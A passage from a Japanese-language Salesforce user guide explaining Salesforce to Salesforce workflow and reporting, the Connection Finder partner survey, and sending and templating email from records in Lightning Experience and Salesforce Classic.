め、この情報へのアクセスが必要なユーザに割り当て可能なカスタムリストビューを作成する必要があり
ます。

• 接続先から大量のレコードを受信することがわかっている場合、該当するオブジェクトの [自動引き受け]

を有効に (ページ1844)します。たとえば、自分の組織で、定期的に接続先と大量のリードを共有している場
合、[登録オブジェクトの追加または削除] ページで商談の横にある [自動引き受け] チェックボックスをオ
ンにします。
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• 接続による変更内容を参照するには、対象オブジェクトの項目履歴管理を有効にし、ページレイアウトに
履歴関連リストを追加します。[受信接続名] 項目を含むカスタム履歴レポートを作成するというオプショ
ンもあります。

• すべての受信リードまたはケースを特定のユーザに自動的に割り当てるには、次のルールエントリを含む
割り当てルールを作成します。
– 受信接続名に接続先の名前を含む
– 作成者に接続ユーザを含む
エスカレーションルールでも同じように実行できます。

• ケースにエスカレーションルールを使用してケースを接続先に割り当てる場合、接続先がメンバーである
キューにケースを割り当てる必要があります。たとえば、サードパーティエージェンシーとして機能する
接続先があり、特定の条件を満たすすべてのケースがこの接続先にエスカレーションする必要がある場合、
次の手順を実行する必要があります。
– メンバーとして接続先を含むキューを作成する。
– 適切な条件のエスカレーションルールを作成する。
– 特定の条件を満たすケースを自動的に該当するキューに割り当てるエスカレーションアクションを追加

する。

その他のヒント
• パートナーとの接続にあたり、パートナーが Salesforce を利用しているかどうかわからない場合、接続ファ

インダを使用して確認できます。
• リードを取引開始にすると、Salesforce to Salesforce は共有レコードを無効にし、接続先のリードレコードの

[外部共有] 関連リストを [無効 (変換済み)] 状況に更新します。共有レコードが無効化されるため、取引開始
処理中の [リード状況] への変更は接続先のリードレコードには反映されません。

• ワークフローを使用して Salesforce to Salesforce のレコードおよび接続への更新を自動化する方法についての
詳細は、「Salesforce to Salesforce でのワークフローの使用」を参照してください。
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Salesforce to Salesforce のレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

Salesforce to Salesforce の活動や更新を追跡するには、カスタムレポートを作成しま
す。
カスタムレポートを使用して Salesforce to Salesforce 接続を効率的に管理する場合、
無限の可能性があります。Salesforce to Salesforce でのカスタムレポートの使用例を
いくつか示します。
• [接続している取引先] レポートタイプのカスタムレポートを作成して、接続

の活動やその他の接続の詳細を追跡する。レポートには、取引先に関連付け
られている接続のみが表示されます。

• カスタムレポートタイプを作成して、公開または登録した各オブジェクトの
接続情報を表示する。

• カスタムレポートを作成して、複数の接続先と共有しているレコードを表示
する。また、複数の接続先と共有しているレコードをリストビューで表示す
るには、[送信接続名]項目を既存ビューまたは新規ビューに追加し、拡張リ
ストが無効になっていることを確認します。

• [接続しているリード] レポートタイプのカスタムレポートを作成して、接続
先と共有していたリードでその後削除されたものをすべて表示する。

Salesforce to Salesforce でのワークフローの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

ワークフローを使用して、Salesforce to Salesforce のレコードおよび接続への更新を
自動化できます。
ワークフロールールは、次の場合に、Salesforce to Salesforce で共有されるレコード
についてのみトリガされます。
• 親レコードを引き受ける場合
• 子レコードが挿入される場合
• 登録している項目がワークフロールールをトリガするように設定されている

場合
Salesforce to Salesforceのワークフロー規則の基準についての提案には次のようなも
のがあります。
• リード、商談、カスタムオブジェクトの [受信接続名] 項目
• 現在のユーザが 「pnet」 である
• [最終更新者] 項目が「接続ユーザ」である
たとえば、接続先がリードを更新するたびにユーザの ToDo を作成できます。
1. 次の条件でワークフロールールを作成する。

• 評価条件: [レコードが次の場合にルールを評価: 作成されたとき、および編
集されるたび]

• [条件が一致する] の場合にルールを実行する。
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• ルール条件:「リード: 最終更新者次の文字列と一致する接続ユーザ」。

2. ワークフロー ToDo を追加する。
接続先が項目を編集したら選択リストの値を更新するなど、多くの Salesforce to Salesforce処理にワークフローを
使用できます。レコードを引き受けるときに、次の項目によってのみワークフロールールがトリガされます。

メモ: 組織でレコードの自動引き受けが設定されている場合、登録したいずれかの項目によってワークフ
ロールールがトリガされます。

ワークフローをトリガする項目オブジェクト

取引先 • 取引先名
• 市区郡
• 国
• 受信接続名
• 送信接続名
• 都道府県
• 型

ケース • ケース番号
• 優先度
• 状況
• 件名
• 型

取引先責任者 • メール
• 姓
• 住所(郵送先)

• 電話
• 役職

リード • 会社名
• メール
• 業種
• リード
• リードソース
• 名前
• 従業員数
• 電話
• 受信接続名
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ワークフローをトリガする項目オブジェクト

• 送信接続名
• 都道府県
• 状況
• 役職

商談 • 取引先名
• 金額
• 完了予定日
• 名前
• 受信接続名
• 送信接続名
• フェーズ

カスタムオブジェクト • 接続名
• 名前
• 送信日

引き受けたレコードの任意の項目で実行されるその後のすべての更新に対して、ワークフロールールがトリガ
されます。

メモ: ワークフローではなく Apex トリガを使用する方が適している場合があります。項目 Aが更新された
らセカンダリ項目の項目 B を更新するワークフロールールがあるとします。Salesforce to Salesforce パート
ナーが項目 A と項目 B を登録していても、ワークフロールールでトリガされた項目 B への更新はパート
ナーの組織に送信されません。これにより、更新のループが防止されます。
このようなセカンダリ項目への更新を Salesforce to Salesforce パートナーに送信する場合は、ワークフローで
はなく、コミット後ロジックを使用してセカンダリ項目を更新する Apex トリガを使用します。

メモ: 双方向接続では、Salesforce to Salesforce の更新は、before トリガではなく、after トリガ (「after

insert」や「after update」など) でのみトリガし直されます。
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ビジネスパートナーが Salesforce を使用していることの確認

接続ファインダについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

パートナーが Salesforce を使用している場合、Salesforce 組織に接続するとレコー
ドを共有して関連するビジネスプロセスで連携できるため有益です。接続する
前に、パートナーがSalesforceを使用しているかどうか確認する必要があります。
接続ファインダを使用し、パートナーに Salesforce を使用しているかどうかの簡
単な調査へのリンクのあるメールを送信します。調査の回答は、各パートナー
の取引先および取引先責任者レコードに記録されます。パートナーの状況を確
認したら、Salesforce to Salesforce を使用してパートナーを招待できます。

関連トピック:

パートナーが Salesforce を使用しているかどうかの確認
接続ファインダの設定
接続ファインダのヒントとその他の考慮事項

接続ファインダの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

接続ファインダを有効に
して設定を編集する
• 「すべてのデータの編

集」

接続ファインダにより、パートナーが Salesforce を使用しているかどうかを調査
するメールを送信できます。パートナーの状況を確認したら、Salesforce to Salesforce

を使用してパートナーを招待できます。
接続ファインダを使用するには、次の操作を実行する必要があります。
1. 組織で接続ファインダを有効にします。
2. 接続ファインダを設定します。
3. 検索レイアウトをカスタマイズして取引先責任者リストビューに [接続の検

索] ボタンを追加します。取引先責任者ページレイアウトをカスタマイズし
て取引先責任者の詳細ページにボタンを追加します。

4. 取引先責任者ページレイアウトに [Salesforce を使用] 項目を追加しま
す。

5. 取引先ページレイアウトに [Salesforce の顧客] 項目を追加します。

メモ: [Salesforce を使用] および [Salesforce の顧客] 項目は、
設定したカスタマーポータルまたはパートナーポータルの取引先責任者
および取引先レコードにも表示されます。

接続ファインダの有効化
接続ファインダを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「接続ファインダ」と入力し、[Salesforce to Salesforce接続ファイン

ダ] を選択します。
2. [編集] をクリックします。
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3. [有効化] を選択します。
4. [保存] をクリックします。
これで接続ファインダの設定が可能になります。さらに、デフォルトのメールテンプレートおよび必須関連項
目が作成されて使用可能になります。

メモ: 接続ファインダを無効にすると、未決の調査が無効になり、[接続の検索] ボタンが削除されます。
[Salesforce を使用] および [Salesforce の顧客] 項目は、それぞれ取引先責任者および取引先レ
コードに残ります。

接続ファインダの設定
パートナーに送信するメールの内容と外観を指定できます。
1. [設定] から、[クイック検索] ボックスに「接続ファインダ」と入力し、[Salesforce to Salesforce接続ファイン

ダ] を選択します。
2. [編集] をクリックします。
3. メールテンプレートを選択します。

デフォルトの接続ファインダテンプレートが自動的に選択されます。調査用にカスタムメールテンプレー
トを作成することもできます。

メモ: カスタムメールテンプレートには調査 URL を含める必要があります。テンプレートの作成時に、
{!Contact.PartnerSurveyURL} が取引先の差し込み項目として使用可能です。

4. 必要に応じて、ルックアップを使用してロゴを選択します。

メモ: 最初にロゴを [ドキュメント] タブにアップロードし、[外部参照可] としてマークする必要があ
ります。

ロゴは調査ページの上部に表示されるため、ブランドロゴを追加することをお勧めします。ロゴを選択し
ない場合、調査ページのロゴ部分は空白のままになります。

5. [保存] をクリックします。
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パートナーが Salesforce を使用しているかどうかの確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

パートナーが Salesforceを
使用しているかどうかの
確認メールを送信する
• 「メールの送信」(1 人

の受信者)

または

「一括メール送信」(複
数の受信者)

パートナーが Salesforce を使用している場合、Salesforce 組織に接続するとレコー
ドを共有して関連するビジネスプロセスで連携できるため有益です。接続する
前に、パートナーがSalesforceを使用しているかどうか確認する必要があります。
接続ファインダを使用し、パートナーに Salesforce を使用しているかどうかの簡
単な調査へのリンクのあるメールを送信します。調査の回答は、各パートナー
の取引先および取引先責任者レコードに記録されます。パートナーの状況を確
認したら、Salesforce to Salesforce を使用してパートナーを招待できます。
1. 取引先責任者リストビューで、調査が必要なパートナーを選択して [接続の

検索] をクリックします。または、取引先責任者の詳細ページで、[接続の検
索] をクリックします。

メモ: 次の場合には [接続の検索] は表示されません。
• 取引先責任者レコードに有効なメールアドレスがない
• 取引先責任者が取引先に関連付けられていない
取引先責任者が個人取引先の場合、[接続の検索]はリストビューに表示
されますが、ユーザがそのボタンをクリックするとエラーメッセージが
表示されます。[接続の検索]は取引先責任者の詳細ページには表示され
ません。

2. メールの件名を入力します。
3. デフォルトのテンプレートで提供される本文を編集するか、[テンプレートを

変更] をクリックして異なるメールテンプレートを選択します。

メモ: デフォルトのメールテンプレートは、管理者によって選択されます。異なるテンプレートを選
択するか本文を編集できますが、調査 URL {!Contact.PartnerSurveyURL} を含める必要がありま
す。
複数の受信者を選択した場合は、本文を編集できません。

4. [スペルチェック] をクリックし、本文のスペルをチェックします。
5. [プレビュー] をクリックし、メールが受信者にどのように表示されるか確認します。
6. [送信] をクリックします。
メールが選択したパートナーに送信されます。パートナーが調査に回答できる期間は 90 日で、その後リンク
は無効になります。パートナーの回答は、パートナーの取引先責任者レコードの [Salesforce を使用]項目
および取引先レコードの [Salesforce の顧客]項目に記録されます。終了した活動も取引先責任者に追加さ
れます。

ヒント: 任意の 1 か所で調査の回答を追跡するため、カスタムリストビューまたはカスタムレポートを作
成することをお勧めします。

パートナーの組織がSalesforceを使用している場合、受信者がSalesforceの管理者権限があるかどうかを尋ねるセ
クションが調査に表示されます。管理者権限がない場合、受信者は必要に応じて管理者の連絡先情報を提供す
ることができ、取引先責任者レコードがない場合はそのユーザに対して新規取引先責任者レコードがSalesforce

で作成されます。
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メモ: [Salesforce を使用]の値が「はい、管理ユーザです」となっているパートナーの取引先責任者が
すでに組織に存在する場合は、このセクションは表示されません。

接続ファインダのヒントとその他の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

• 1 か所で調査の回答を追跡するため、カスタムリストビューまたはカスタム
レポートを作成します。[Salesforce を使用] 項目を取引先責任者リスト
ビューおよびレポートに追加します。[Salesforce の顧客] 項目を取引先
リストビューおよびレポートに追加します。

• 海外のパートナーに送信するには、翻訳されたバージョンのデフォルト接続
ファインダを作成します。そのためには、デフォルトのテンプレートをコ
ピーし、必要な言語に変更して調査 URL: {!Contact.PartnerSurveyURL}

を含めます。これでパートナーに調査を送信するときに適切なテンプレート
を選択できます。

メモ: ただし、英語の調査ページには [言語]ドロップダウンが含まれ、
受信者が調査を自分の母国語で表示できます。

• [Salesforce を使用]項目の入力規則を作成するときは、ユーザインターフェースに表示される表示ラベ
ルではなく、API 値を使用します。以下に例を示します。
CONTAINS(TEXT(UseSalesforce ), 'YesNotAdmin')

API 値[Salesforce を使用] ドロップダウン値

NoNo

NoResponse無回答
NotSureわかりません
YesAdminはい、管理ユーザです
YesNotAdminはい、管理ユーザではありません

• パートナーが Salesforce システム管理者の詳細を提供すると、Salesforce はパートナーの Salesforce 組織にその
メールアドレスの取引先責任者がすでに存在するかどうかを確認します。存在する場合、取引先責任者レ
コードの [Salesforce を使用] 項目が[はい、管理ユーザです] に設定されます。項目がすでに [いいえ]

に設定されている場合、更新はされません。

メモ: パートナーは、システム管理者が組織の取引先責任者として存在しない場合にのみ、システム
管理者を追加できます。

• [Salesforce の顧客] 項目は、取引先責任者の [Salesforce を使用] 項目の値に応じて異なります。
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Salesforce 内からのソーシャルネットワークへの参加

Salesforce for Twitter and Facebook の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Twitter and Facebook を使用すると、Salesforceから直接、Twitter と Facebook

の顧客と見込み客とリアルタイムに簡単に交流することができます。
Salesforce for Twitter and Facebook ユーザは、Salesforce内で、会社に関連するソーシャ
ルメディア会話を検索および監視し、会話に参加および返信することができま
す。また、次の操作も実行できます。
• 会社に関する意見をリアルタイムに確認する
• ツイートと Facebook ウォールの投稿とコメントから、ケース、取引先責任

者、およびリードを作成する
• Twitter と Facebook コミュニティと情報を共有する
• 意見を共有したり、質問したり、支援を求めたりする多数の人と交流する
Salesforce for Twitter and Facebook は、AppExchange から無料のアプリケーションをダウンロードして有効にできま
す。その他のドキュメントは、Salesforce for Twitter and Facebook のアプリケーション一覧の [リソース] セクション
で提供されています。

Salesforce インテグレーションメールの使用

メール管理
エディション

使用可能なエディション:
すべてのエディション

Salesforceには、メールを管理して生産性を高める方法がいくつかあります。メー
ルとテンプレートを管理します。メールを Salesforce レコードに関連付けます。
求めている情報を確実に把握するには、それぞれの概要を理解したうえで、掘
り下げていきます。

Lightning Experience でのメールおよびテンプレートの管理
Lightning Experience を使用している場合は、アクセス権のある取引先、個人取引先、取引先責任者、リード、
商談、キャンペーン、ケースの各レコードから、取引先責任者、リード、同僚に直接メールを送信できま
す。有効なメールアドレスに送信したり、ファイルを添付したり、差し込み項目を自動化したりできます。
テンプレートを付属のサンプルから選択する場合、または独自に作成する場合は、そのテンプレートを使
用します。テンプレートは自動的に組織と共有されます。
Salesforce Classic でのメールの管理
Salesforce Classic を使用している場合は、Email Author を使用して、取引先、取引先責任者、リード、商談、
ケース、キャンペーン、カスタムオブジェクトの各ページから、取引先責任者、リード、個人取引先、同
僚に直接メールを送信できます。
[メール to Salesforce] を使用したメールの Salesforce レコードへの関連付け
メールをリード、取引先責任者、および商談、またはSalesforceのその他の特定のレコードに関連付けます。
この処理により、営業関連のコミュニケーションを簡単に追跡できます。
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Lightning Experience でのメールおよびテンプレートの管理

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

Lightning Experience を使用している場合は、アクセス権のある取引先、個人取引
先、取引先責任者、リード、商談、キャンペーン、ケースの各レコードから、
取引先責任者、リード、同僚に直接メールを送信できます。有効なメールアド
レスに送信したり、ファイルを添付したり、差し込み項目を自動化したりでき
ます。テンプレートを付属のサンプルから選択する場合、または独自に作成す
る場合は、そのテンプレートを使用します。テンプレートは自動的に組織と共
有されます。

メール差し込み項目、テンプレート、および添付ファイルへのアクセスと共
有
Lightning Experienceでインテグレーションメールを使用している場合、差し込
み項目、テンプレート、および添付ファイルへのアクセスと共有のしくみを
理解しておくことが重要です。
レコードからのメールの送信
作業中のレコードから、添付ファイルを含むリッチテキストメールを直接送信します。顧客、同僚、また
は任意の有効なメールアドレスに送信できます。メールは、取引先、個人取引先、取引先責任者、リード、
商談、キャンペーン、ケースなど、多数の項目で使用できます。メールを送信すると、メールを追跡して
その内容を保存するメールレコードが作成されます。メール送信元のレコードまたは関連レコードの活動
フィードに、メールレコードへのリンクが表示されます。
Salesforce レコードから送信されたメールの検索
メールを送信すると、メールを追跡してその内容を保存するメールレコードが作成されます。活動フィー
ドに、そのメールへのリンクが含まれます。取引先責任者またはリードにメールを送信した場合は、それ
らの各レコードにメールへのリンクが含まれます。受信者に取引先責任者またはリードが含まれないメー
ルの場合は、メールの送信時に使用していたオブジェクトに対してメールおよびフィード項目が作成され
ます。メール設定に定義されている自動 BCC を使用すると、指定した返信先アドレスの受信箱にメールの
コピーが送信されます。
Gmail または Office 365 を介したメールの送信
Gmail または Office 365 アカウントを使用して Salesforce メールを送信します。Lightning Experience で送信された
メールが、ユーザの Gmail または Office 365 の受信箱から送信されたかのように表示されます。Gmail または
Office 365 の [送信済みアイテム] フォルダで送信済みのメールを参照することもできます。
よく使用するメールを標準化するためのテンプレートの作成
メールテンプレートを作成して、時間を節約し、自分または組織の他のユーザが送信するメールを標準化
できます。必要に応じて差し込み項目を使用します。ページレイアウトと項目レベルセキュリティ設定に
よって、差し込みに使用可能な項目が決まります。作成したテンプレートは自動的に公開され、組織の他
のユーザが使用できるようになります。
テンプレートを使用した送信メールの標準化
テンプレートを使用すると、時間を節約し、送信するメールを標準化できます。独自のテンプレートを作
成することも、組織の他のユーザが作成したテンプレートを使用することもできます。または、Salesforce

が提供するサンプルの 1 つを使用します。ファイルが添付されたテンプレートを選択する場合、そのテン
プレートから送信するメールにそれらのファイルを添付するためのファイルへのアクセス権が必要です。
ファイルへのアクセス権が必要な場合は、メッセージが表示されます。

1870

メール管理顧客への営業



メール差し込み項目、テンプレート、および添付ファイルへのアクセスと共有

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

Lightning Experience でインテグレーションメールを使用している場合、差し込み
項目、テンプレート、および添付ファイルへのアクセスと共有のしくみを理解
しておくことが重要です。
差し込み項目

差し込み項目は、取引先、取引先責任者、商談、リード、キャンペーン、
ケース、ユーザオブジェクトから、および個人取引先レコードタイプから使
用できます。これらの中で、最もよく使用される標準項目 (および一部のカ
スタム項目) を差し込み項目として使用できます。項目レベルセキュリティ
設定により、その項目セットの一部の項目を個人ユーザが使用できない場合
があります。取引先責任者の差し込み項目は、個人取引先では使用できませ
ん。

テンプレート
• Salesforce Classicで作成されたテンプレートをLightning Experienceで使用することも、その逆もできません。
• 1 つのオブジェクトから作成されたテンプレートは、そのオブジェクトでのみ使用できます。たとえば、

リードで作成されたテンプレートを、商談レコードから選択することはできません。
• 作成したテンプレートは自動的に公開され、組織の他のユーザが使用できるようになります。

添付ファイル
• Salesforce Files からファイルを選択して添付する前に、Salesforce Files とコンテンツ配信を有効にしておく

必要があります。これらの機能が有効でない場合、ユーザは添付ファイルをアップロードのみできま
す。

• 3 MB より大きい添付ファイルは、ファイルではなく、コンテンツ配信リンクとして送信されます。メー
ルに添付ファイルが複数あり、すべての添付ファイルの合計サイズが 3 MB を超えるときは、すべての
添付ファイルがコンテンツ配信リンクとして送信されます。

• ファイルへのアクセス権がない場合、そのファイルをメールまたはテンプレートに添付することはでき
ません。アクセス権が必要な場合はメッセージが表示されるため、ファイルの所有者にアクセス権の付
与を依頼できます。

• Salesforce Files からメールに添付されたファイルの場合、アクセスは公開され、リンク経由になります。
公開アクセスでは、誰でもリンクを使用してファイルの表示、共有、およびダウンロードができます。

関連トピック:

ケースフィードのメールメッセージへの画像とファイルの追加
メールのエディションおよび権限
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レコードからのメールの送信

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

メールを送信する
• 「メールの送信」権限

およびメール送信元の
レコードへのアクセス
権

メールまたはテンプレー
トにファイルを添付する
• 添付するファイルへの

アクセス権

作業中のレコードから、添付ファイルを含むリッチテキストメールを直接送信
します。顧客、同僚、または任意の有効なメールアドレスに送信できます。メー
ルは、取引先、個人取引先、取引先責任者、リード、商談、キャンペーン、ケー
スなど、多数の項目で使用できます。メールを送信すると、メールを追跡して
その内容を保存するメールレコードが作成されます。メール送信元のレコード
または関連レコードの活動フィードに、メールレコードへのリンクが表示され
ます。

メモ: 会社で拡張メールを有効にしていない場合、メールレコードではな
く、ToDo レコードが作成されます。拡張メールが有効になっているかどう
かわからない場合は、システム管理者に問い合わせてください。

メールにファイルを添付したり、ファイルが添付されたテンプレートを使用し
たりするには、ファイルへのアクセス権が必要です。アクセス権がない場合は、
メッセージが表示されます。
1. メールの送信元のレコードを開きます。
2. [活動] タブをクリックし、[メール] をクリックします。

ヒント: ウィンドウから作成する場合は、矢印ボタンをクリックして
メールをポップアウトします。作成ウィンドウが有効な間は、レコード
ページをスクロールして詳細やその他の情報を表示したり、Salesforce の
他の場所に移動したりできます。

3. メールを作成します。受信者が一括メールの受信を除外している場合、また
はそのアドレスへのメールが以前に不達になっている場合、受信者名の横に
インジケータが表示されます。

4. 必要に応じて添付ファイルを追加します。
5. 確認して送信します。

メールへのリンクは、[過去の活動] の活動フィード内にあります。関連レコードの活動タイムラインでも
リンクを見つけることができます。メール設定に定義されている自動 BCC を使用すると、指定した返信先
アドレスの受信箱にメールのコピーが送信されます。

例:  Jane は、600 個の部品を Acme Corporation に販売する商談に対応しています。Acme の取引先責任者は
John Stamos で、商談レコードは Acme 600 Widgets です。Jane は John に条件概要書を添付したメールを送信
する必要があり、このメールを Acme 600 Widgets 商談レコードに関連付けたいと考えています。また、John

の取引先責任者レコードからメールを使用できるようになれば便利です。Jane は、Acme 600 Widgets レコー
ドを開き、条件概要書を添付したメールを作成します。メールを送信したら、Acme 600 Widgets 商談レコー
ドおよび John Stamos の取引先責任者レコードでメールへのリンクを見つけることができます。

関連トピック:

メール設定の編集
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Salesforce レコードから送信されたメールの検索

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

送信メールを参照する
• 「ToDo を参照」権限

およびメールの送信元
のレコードへのアクセ
ス権

メールを送信すると、メールを追跡してその内容を保存するメールレコードが
作成されます。活動フィードに、そのメールへのリンクが含まれます。取引先
責任者またはリードにメールを送信した場合は、それらの各レコードにメール
へのリンクが含まれます。受信者に取引先責任者またはリードが含まれないメー
ルの場合は、メールの送信時に使用していたオブジェクトに対してメールおよ
びフィード項目が作成されます。メール設定に定義されている自動 BCC を使用
すると、指定した返信先アドレスの受信箱にメールのコピーが送信されます。

メモ: 会社で拡張メールを有効にしていない場合、送信済みメールは、メー
ルレコードではなく、ToDo レコードとして保存されます。ToDo レコードの
検索方法は、メールレコードの検索方法と同じです。会社で拡張メールを
使用しているかどうかが不明な場合は、システム管理者にお問い合わせく
ださい。

1. 元々メールの作成時に開いていたレコードか、メールを送信した取引先責任
者またはリードのレコードのいずれかを開きます。

2. [過去の活動] でメールを検索するには、[活動] タブをクリックします。
3. ToDo レコードを開くには、メールのリンクをクリックします。このレコード

にメッセージおよび関連する詳細が表示されます。また、自動 BCC を使用し
ている場合は、受信箱で送信メールを検索できます。

Gmail または Office 365 を介したメールの送信

エディション

使用可能なエディション:
Salesforce Lightning
Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」権限

およびメール送信元の
レコードへのアクセス
権

Gmail または Office 365 アカウントを使用してSalesforceメールを送信します。Lightning

Experienceで送信されたメールが、ユーザの Gmail または Office 365 の受信箱から送
信されたかのように表示されます。Gmail または Office 365 の [送信済みアイテム]

フォルダで送信済みのメールを参照することもできます。
ワークフローおよびトリガを介して送信されるメールは、引き続き Salesforce 経
由で送信されます。また、外部メールアカウント経由で送信する場合、不達管
理はサポートされません。
Gmail または Office 365 を介した送信のメール配信情報はメールログでは利用でき
ません。代わりに、Gmail または Office 365 からメールログを取得する必要があり
ます。
1. 個人設定から、[クイック検索]ボックスに「私のメール設定」と入力し、[私

のメール設定] を選択します。
2. メールの送信方法を選択します。

Salesforce システム管理者は Gmail または Office 365 のいずれかを組織で有効に
できます。両方を選択することはできません。

3. [保存] をクリックします。
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よく使用するメールを標準化するためのテンプレートの作成

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

メールテンプレートを作
成する
• 「メールの送信」

メールまたはテンプレー
トにファイルを添付する
• 添付するファイルへの

アクセス権

メールテンプレートを削
除する
• 「すべてのデータの編

集」またはテンプレー
トの所有権

メールテンプレートを更
新する
• 「すべてのデータの編

集」またはテンプレー
トの所有権

メールテンプレートを作成して、時間を節約し、自分または組織の他のユーザ
が送信するメールを標準化できます。必要に応じて差し込み項目を使用します。
ページレイアウトと項目レベルセキュリティ設定によって、差し込みに使用可
能な項目が決まります。作成したテンプレートは自動的に公開され、組織の他
のユーザが使用できるようになります。
1 つのオブジェクトから作成されたテンプレートは、そのオブジェクトでのみ使
用できます。たとえば、リードで作成されたテンプレートは、商談レコードか
らは使用できません。

ヒント: まずは最適なテンプレートで、更新や変更が必要なものを見つけ
ます。そのテンプレートを選択し、編集して保存します。元のテンプレー
トを維持する場合は、変更したバージョンを新規テンプレートとして保存
します。

1. メールを使用できる、商談や取引先などのレコードを開きます。
2. [活動] タブをクリックし、[メール] タブをクリックします。
3. テンプレートとして使用するメールを作成します。テンプレートには、リッ

チテキスト、差し込み項目、添付ファイルなど、他のメールのすべての機能
を含めることができます。作業中、レコードやその他の Salesforce ページに移
動する必要があるときは、コンポーザウィンドウをポップアウトします。

4. [テンプレート] アイコンをクリックし、テンプレートを新規として保存しま
す。

1874

メール管理顧客への営業



テンプレートを使用した送信メールの標準化

エディション

使用可能なエディション:
Salesforce Lightning
Experience

Developer Edition、
Enterprise Edition、
Professional Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

メールを送信する
• 「メールの送信」

メールを送信する、また
はファイルが添付された
テンプレートを使用する
• 添付するファイルへの

アクセス権

テンプレートを使用すると、時間を節約し、送信するメールを標準化できます。
独自のテンプレートを作成することも、組織の他のユーザが作成したテンプレー
トを使用することもできます。または、Salesforce が提供するサンプルの 1 つを使
用します。ファイルが添付されたテンプレートを選択する場合、そのテンプレー
トから送信するメールにそれらのファイルを添付するためのファイルへのアク
セス権が必要です。ファイルへのアクセス権が必要な場合は、メッセージが表
示されます。
1. メールの送信元のレコードを開きます。
2. [活動] タブをクリックし、[メール] タブをクリックします。
3. テンプレートを挿入するには、[テンプレート] アイコンをクリックします。

目的のテンプレートを選択すると、そのコンテンツが表示されます。必要に
応じて編集し、プレビューして送信します。

Salesforce Classic でのメールの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

Salesforce Classic を使用している場合は、Email Author を使用して、取引先、取引先
責任者、リード、商談、ケース、キャンペーン、カスタムオブジェクトの各ペー
ジから、取引先責任者、リード、個人取引先、同僚に直接メールを送信できま
す。

Salesforce Classic でのメールの送信
取引先責任者、リード、個人取引先、同僚に、Salesforce Classic の取引先、取
引先責任者、リード、商談、ケース、キャンペーン、カスタムオブジェクト
の各ページから直接メールを送信します。
Salesforce Classic でのメールの一括送信
メールを取引先責任者、リード、個人取引先、または同僚に一度にまとめて
送信できます。小規模なセールスやサポートで取引先責任者、リード、また
は個人取引先のリストにメールを送信します。一括メール送信は、ビジネス
プロセスの促進を目的としています。メールアプリケーションに代わるものでも、マーケティングキャン
ペーンの一括メールを処理するものでもありません。

1875

メール管理顧客への営業



Salesforce Classic でのメールの送信に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

メールを送信する前に、次の点を考慮します。

一般情報
• [宛先] 項目には名前を 1 つのみ入力できます。
• 署名はテキストメールにのみ含めることができます。

メールテンプレート
• メールを作成するときに、メッセージの定義済みテンプレートを選択できます。メッセージをパーソナラ

イズする場合は、メールの送信時に Salesforce からの情報に置き換えられる差し込み項目を挿入できます。
たとえば、会社で標準テンプレートを使用して、ケースを登録した顧客にソリューションを連絡すること
ができます。Salesforce システム管理者は会社全体のテンプレートを管理でき、ユーザは独自のテンプレー
トを管理できます。

• メールテンプレートを使用する場合、ページレイアウト設定と項目レベルセキュリティ設定でアクセスを
許可されている項目のみにアクセスできます (項目レベルセキュリティは、Professional Edition、Enterprise

Edition、Unlimited Edition、Performance Edition、および Developer Edition Edition で使用できます)。
• 特定のレコードにデータが存在しない差し込み項目がテンプレートにある場合は、送信するメールにその

項目が表示されません。こうした空白の項目を検索するには、受信者リストビューを編集して、テンプレー
トで使用している差し込み項目を検索します。次に、条件に「<項目>」「次の文字列と一致する」と入力
し、検索条件値を空白のままにします。メールを送信する前に、空白項目のあるレコードを編集してくだ
さい。

• メールテンプレートを変更すると、変更内容がテンプレートの HTML バージョンに影響します。
• カスタムメールテンプレートは変更できません。

メールの追跡
送信済みのメールを追跡するには、作成時に HTML 形式を使用します。また、Salesforceシステム管理者が [HTML

メール状況] 関連リストを取引先責任者、リード、個人取引先ページに追加していることを確認します。

Salesforce Classic でのメールの送信

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

